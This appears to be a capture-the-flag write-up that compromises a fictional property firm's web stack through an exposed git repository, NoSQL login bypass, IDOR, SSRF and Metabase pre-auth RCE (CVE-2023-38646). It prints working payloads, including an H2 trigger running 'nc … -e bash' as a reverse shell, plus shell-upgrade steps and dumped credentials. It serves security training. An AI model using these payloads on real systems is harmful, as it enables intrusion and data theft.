BedRock
Date: May 2026
Difficulty: Medium
Category: webrange
Description of the webrange
“Summit Property Group is a Denver-based property-management firm running a multi-service web stack: a public marketing site, a tenant portal, an applicant-intake form, an owners’ dashboard with PDF generation, an internal staff admin panel, and a Metabase analytics deployment. Find every flag without insider access.”
It can be played here.
TL;DR
- Exposed git repository
- Authentication bypass in
apply.summit.local. - Unauthorized access to
tenant.summit.localusing discovered credentials. - Insecure Direct Object Reference (IDOR) in
tenant.summit.local. - Unauthorized access to
owners.summit.localusing discovered credentials. - Server-Side Request Forgery (SSRF) in
owners.summit.local. - Exposed unauthenticated administrative panel in
owners.summit.local. - Remote Code Execution (RCE) in
metabase.summit.local.
Initial enumeration
When accessing the provided IP address, the application redirected us to the hostname summit.local, so we manually added an entry to /etc/hosts to map the domain to the target IP address.
By navigating the website at the URL http://summit.local, the application revealed the presence of additional subdomains such as owners.summit.local, apply.summit.local, owners.summit.local and tenant.summit.local. We added all of them to the /etc/hosts file.
Exposed .git repository
We performed directory fuzzing against the URL http://summit.local and found that a .git directory was exposed:
$ ffuf -u "http://summit.local/FUZZ" -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[...]
.git [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 206ms]
.git/HEAD [Status: 200, Size: 21, Words: 2, Lines: 2, Duration: 206ms]
.git/logs/ [Status: 200, Size: 350, Words: 115, Lines: 9, Duration: 207ms]
.git/index [Status: 200, Size: 10196, Words: 39, Lines: 35, Duration: 207ms]
.git/config [Status: 200, Size: 207, Words: 14, Lines: 9, Duration: 207ms]
[...]
By using git-dumper, we downloaded the aforementioned git repository:
$ python3 git_dumper.py http://summit.local/ main-site-git
After inspecting the git commit history, we were able to recover unreferenced objects from the repository, in particular using git reflog:
$ git reflog
ddcb127 (HEAD -> main) HEAD@{0}: reset: moving to HEAD~2
69eef0b HEAD@{1}: commit: fix — staging deploy token leak; FLAG=BEDROCK{[REDACTED]} rotate post-deploy
8274e9e HEAD@{2}: commit: copy update — owners page CTA
ddcb127 (HEAD -> main) HEAD@{3}: commit (initial): summit-www/4.0 first deploy
Authentication bypass at apply.summit.local
Fuzzing revealed an interesting /admin endpoint:
$ ffuf -u "http://apply.summit.local/FUZZ" -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[...]
admin [Status: 302, Size: 34, Words: 4, Lines: 1, Duration: 192ms]
apply [Status: 302, Size: 35, Words: 4, Lines: 1, Duration: 188ms]
css [Status: 301, Size: 153, Words: 6, Lines: 11, Duration: 291ms]
status [Status: 200, Size: 4623, Words: 615, Lines: 105, Duration: 193ms]
thanks [Status: 200, Size: 4628, Words: 644, Lines: 103, Duration: 198ms]

The portal reveals two potential users marcus and helena. After testing a number of common weak credential combinations, further investigation revealed that the login functionality was vulnerable to a NoSQL injection vulnerability, allowing authentication controls to be bypassed.
By issuing the following POST request, we bypassed authentication entirely:
POST /admin/login HTTP/1.1
Host: apply.summit.local
Content-Type: application/json
[...]
{
"username" : {
"$ne" : null
},
"password" : {
"$ne" : null
}
}
The application responded with a 302 HTTP code and redirected us to the /admin/dashboard endpoint:
HTTP/1.1 302 Found
Server: nginx/1.29.8
[...]
<p>Found. Redirecting to /admin/dashboard</p>
[...]

By selecting the Applicants section and browsing to the URL http://apply.summit.local/admin/applicants/SP-2026-04-1384, we discovered another potential subdomain metabase.summit.local:

We added this subdomain to the /etc/hosts file.
We also identified that the application revealed credentials for a tenant account within an internal note in http://apply.summit.local/admin/applicants/SP-2026-04-1382:
Approved Helena Wu — created tenant account at h.wu@summittenant.lab on the tenant portal, temp pw “Summit2024!” per usual process. Tenant should rotate at first login.

After inspecting other resources in the application, we did not find anything else, so we moved on to the next applications.
Unauthorized access at tenant.summit.local via discovered credentials
Using the credentials previously discovered, we successfully authenticated to the tenant application:

This access was key to discovering the subsequent vulnerability.
IDOR at tenant.summit.local
Upon further investigation, we identified that the Lease functionality was vulnerable to an Insecure Direct Object Reference (IDOR) vulnerability. By manipulating object identifiers, we were able to access lease-related resources belonging to other users without proper authorization checks.
By default, the application redirected the user to http://tenant.summit.local/lease/11. After changing the identifier to 1, the application returned information related to another tenant:
http://tenant.summit.local/lease/1

RCE at metabase.summit.local

From the setup page we could see a reference to https://www.metabase.com/docs/v0.46/configuring-metabase/setting-up-metabase.html, indicating that metabase 0.46.x version was installed. After further investigation, we confirmed that the installed version was 0.46.4:
Request
GET /api/session/properties HTTP/1.1
Host: metabase.summit.local
Response
HTTP/1.1 200 OK
Server: nginx/1.29.8
[...]
"version" : {
"date" : "2023-05-24",
"tag" : "v0.46.4",
"branch" : "release-x.46.x",
"hash" : "f858476"
},
[...]
"setup-token" : "06259544-46cf-4377-827e-96096b35b15c",
[...]
Searching for vulnerabilities using the searchsploit tool revealed a pre-auth remote code execution vulnerability in the setup token validation mechanism, which could be exploited before the initial setup was completed or if the setup token was exposed (CVE-2023-38646):
$ searchsploit "metabase"
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Metabase 0.46.6 - Pre-Auth Remote Code Execution | linux/webapps/51797.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
By running the above exploit which is also referenced in exploit-db, gave us a limited shell:
$ searchsploit -m 51797.py
$ python3 51797.py -l 10.8.0.60 -p 4444 -P 80 -u "http://metabase.summit.local"
[*] Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]
[*] Retriving setup token
[+] Setup token: 49e6fdaa-b07d-48aa-b991-5bf069b53ba6
[*] Tesing if metabase is vulnerable
[+] Starting http server on port 80
[+] Metabase version seems exploitable
[+] Exploiting the server
metabase_shell > id
uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
metabase_shell > ls -al /home/metabase
metabase_shell >
total 8
drwxr-sr-x 2 metabase metabase 4096 May 19 13:57 .
drwxr-xr-x 1 root root 4096 May 19 13:57 ..
ls -al /app
metabase_shell >
total 285356
drwxr-xr-x 1 root root 4096 May 24 2023 .
drwxr-xr-x 1 root root 4096 May 19 13:57 ..
drwxr-xr-x 2 root root 4096 May 24 2023 certs
-rw-r--r-- 1 root root 292178245 May 24 2023 metabase.jar
-rwxr-xr-x 1 root root 6914 May 24 2023 run_metabase.sh
With this level of access, we identified credentials to access an internal database:
metabase_shell > env
metabase_shell >
SHELL=/bin/sh
[...]
MB_DB_PASS=metabase_app_pw
[...]
MB_DB_HOST=postgres
[...]
MB_DB_DBNAME=metabase
FLAG_3=BEDROCK{[REDACTED]}
[...]
MB_DB_USER=metabase_app
[...]
I was curious to know how the vulnerability worked and wanted to exploit he vulnerability manually. After reading the original blog post by AssetNote, I created an alternative exploit that worked for me and resulted in a reverse shell. We first needed the setup token that was retrieved in response to a GET request to the URL http://metabase.summit.local/api/session/properties. Then we issued the following request and response pair:
Request
POST /api/setup/validate HTTP/1.1
Host: metabase.summit.local
Content-Type: application/json
Content-Length: 752
{
"token": "06259544-46cf-4377-827e-96096b35b15c",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('nc 10.8.0.60 9000 -e bash')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
Response
HTTP/1.1 400 Bad Request
Server: nginx/1.29.8
[...]
{
"message" : "Error creating or initializing trigger \"PWNSHELL\" object, class \"..source..\", cause: \"org.h2.message.DbException: Syntax error in SQL statement \"\"//javascript\\\\000ajava.lang.Runtime.getRuntime().exec('nc 10.8.0.60 9000 -e bash')\\\\000a\"\" [42000-212]\"; see root cause for details; SQL statement:\nSET TRACE_LEVEL_SYSTEM_OUT 1 [90043-212]"
}
We received a connection back to our listener:
$ nc -nvlp 9000
listening on [any] 9000 ...
connect to [10.8.0.60] from (UNKNOWN) [10.8.0.1] 43563
id
uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
The environment variables revealed the presence of a PostgreSQL database along with its associated credentials. We leveraged this access to read the contents of the scratch_notes table:
$ psql "host=postgres port=5432 dbname=metabase user=metabase_app password=metabase_app_pw"
select table_name from information_schema.tables;
table_name
---------------------------------------
scratch_notes
report_dashboardcard
pg_type
databasechangelog
databasechangeloglock
pg_foreign_table
core_user
pg_roles
pg_settings
select * from scratch_notes;
id | author | title | body | created_at
----+--------+-------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------
1 | mvega | pg replication lag — resolved | Follower was 40s behind after the snapshot restore on 11/18. Bumped wal_keep_size to 512MB. Watching. Restarted standby agent 2x. | 2026-04-25 11:22:00+00
2 | mvega | owners portal creds — temp | Spinning up the new owners portal env. My login until I get SSO wired up: mv@vegaholdings.lab / Vega1209!elk — change this once okta is configured. TODO: remove this note. | 2026-05-02 09:14:00+00
3 | mvega | metabase DB size check | select pg_size_pretty(pg_database_size('metabase')); -- 47 MB as of 12/01. Fine for now. | 2026-05-05 16:04:00+00
(3 rows)
As shown above, we discovered account credentials for mv@vegaholdings.lab in the owners application.
Unauthorized access at owners.summit.local via discovered credentials
Using the credentials previously discovered, we successfully authenticated to the owners application as mv@vegaholdings.lab:

This access directly enabled the discovery of the next vulnerability.
SSRF at owners.summit.local
The Statements functionality was vulnerable to SSRF. After clicking the Render feature the application redirected the user to http://owners.summit.local/?action=pdf&url={URL}:


We confirmed the SSRF by using the file:/// protocol, issuing a GET request to http://owners.summit.local/?action=pdf&url=file:///etc/issue:

As shown above, the contents of the /etc/issue file were successfully included in the generated PDF, confirming the ability to read and disclose arbitrary files from the underlying system.
We also validated access list files and directories by using the file:/// payload:

Then, we discovered that the file file:///opt/staff/server.js revealed the presence of an internal application running at port 8080:

We confirmed access to the internal application by issuing a GET request to http://owners.summit.local/?action=pdf&url=http://127.0.0.1:8080

We got the flag after navigating to http://owners.summit.local/?action=pdf&url=http://127.0.0.1:8080/admin/system:

Exposed unauthenticated admin panel at owners.summit.local
The robots.txt file located at http://owners.summit.local/robots.txt revealed the presence of additional resources within the application, in particular /partials/:
# Summit Property Group — owners.summit.local
# Contact: webmaster@summitprop.lab
User-agent: *
Disallow: /?action=admin
Disallow: /?action=pdf
Disallow: /?action=dashboard
Disallow: /admin
Disallow: /api/
Disallow: /internal/
Disallow: /partials/
Sitemap: http://summit.local/sitemap.xml
The http://owners.summit.local/partials/admin.php endpoint was found using ffuf:
$ ffuf -u "http://owners.summit.local/partials/FUZZ" -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
admin.php [Status: 200, Size: 4537, Words: 799, Lines: 100, Duration: 201ms]

The flag was inside a comment of the HTML source code:

Beyond capturing the flags
Get an interactive shell in metabase.summit.local
Despite I spent quite some time with common ways to get an interactive pty, I ended up finishing the webrange without it. Thanks to itzvenom I knew a new tool called penelope which auto upgrades the shell using socat:
$ sudo apt install penelope
$ penelope -p 9000
[+] Listening for reverse shells on 0.0.0.0:9000 -> 127.0.0.1 • 10.10.10.164 • 10.8.0.60
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] [New Reverse Shell] => e4251faa499f 10.8.0.1 Linux-x86_64 👤 metabase(2000) 😍️ Session ID <1>
[+] Upgrading shell to PTY...
[!] Cannot upgrade shell with the available binaries...
1) Upload https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat
2) Upload local socat binary
3) Specify remote socat binary path
4) None of the above
[?] Select action: 1
[•] Download URL: https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat
⤷ [########################################] 100% (366.4 KBytes/366.4 KBytes) | Elapsed 0:00:00
[+] Upload OK /var/tmp/socat
[!] Python agent cannot be deployed. I need to maintain at least one Raw session to handle the PTY
[+] Attempting to spawn a reverse shell on 10.8.0.60:9000
[+] [New Reverse Shell] => e4251faa499f 10.8.0.1 Linux-x86_64 👤 metabase(2000) 😍️ Session ID <2>
[+] PTY upgrade successful via /var/tmp/socat
[+] Interacting with session [1] • PTY • Menu key F12 ⇐
[+] Session log: /home/kali/.penelope/sessions/e4251faa499f~10.8.0.1-Linux-x86_64/2026_06_03-20_08_52-765-metabase(2000).log
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
e4251faa499f:/$ whoami
metabase
Unworthy IDOR in apply.summit.local
After completing and submitting an application we received an identifier like this:

I spent a lot of time fuzzing this URL http://apply.summit.local/status/SP-2026-MONTH-ID:
ffuf -u "http://apply.summit.local/status/SP-2026-MONTH-ID" -w month.txt:MONTH -w ids3.txt:ID -fr "Application not found"
[Status: 200, Size: 5297, Words: 758, Lines: 126, Duration: 185ms]
* ID: 1382
* MONTH: 04
[Status: 200, Size: 5418, Words: 780, Lines: 126, Duration: 194ms]
* ID: 1383
* MONTH: 04
[Status: 200, Size: 4965, Words: 675, Lines: 119, Duration: 196ms]
* ID: 1384
* MONTH: 04
[Status: 200, Size: 5434, Words: 785, Lines: 126, Duration: 184ms]
* ID: 1385
* MONTH: 04
[Status: 200, Size: 5321, Words: 763, Lines: 126, Duration: 202ms]
* ID: 1386
* MONTH: 04
[Status: 200, Size: 4931, Words: 673, Lines: 119, Duration: 199ms]
* ID: 1387
* MONTH: 04
Despite confirming another IDOR vulnerability, those endpoints did not revealed anything useful. As soon as we progressed through the webrange, we discovered that the messages were intended to be public, but what we needed were the private messages only accessible once we got admin-level acccess.

Odd unhandled errors in owners
Attemps to bypass authentication in the owners application were unsuccessful. While internal information was disclosed, I could not leverage it to gain unauthorized access or perform further exploitation.
Request
POST /?action=login HTTP/1.1
Host: owners.summit.local
email[$ne]=a%40a.com&password[$ne]=a
Response
[...]
<br />
<b>Fatal error</b>: Uncaught TypeError: trim(): Argument #1 ($string) must be of type string, array given in /var/www/html/index.php:30
Stack trace:
#0 /var/www/html/index.php(30): trim(Array)
#1 {main}
thrown in <b>/var/www/html/index.php</b> on line <b>30</b><br />
Unprotected pages in owners
Despite we could access http://owners.summit.local/partials/statement.php without a valid account, we could not find a way to exploit it further without more information:


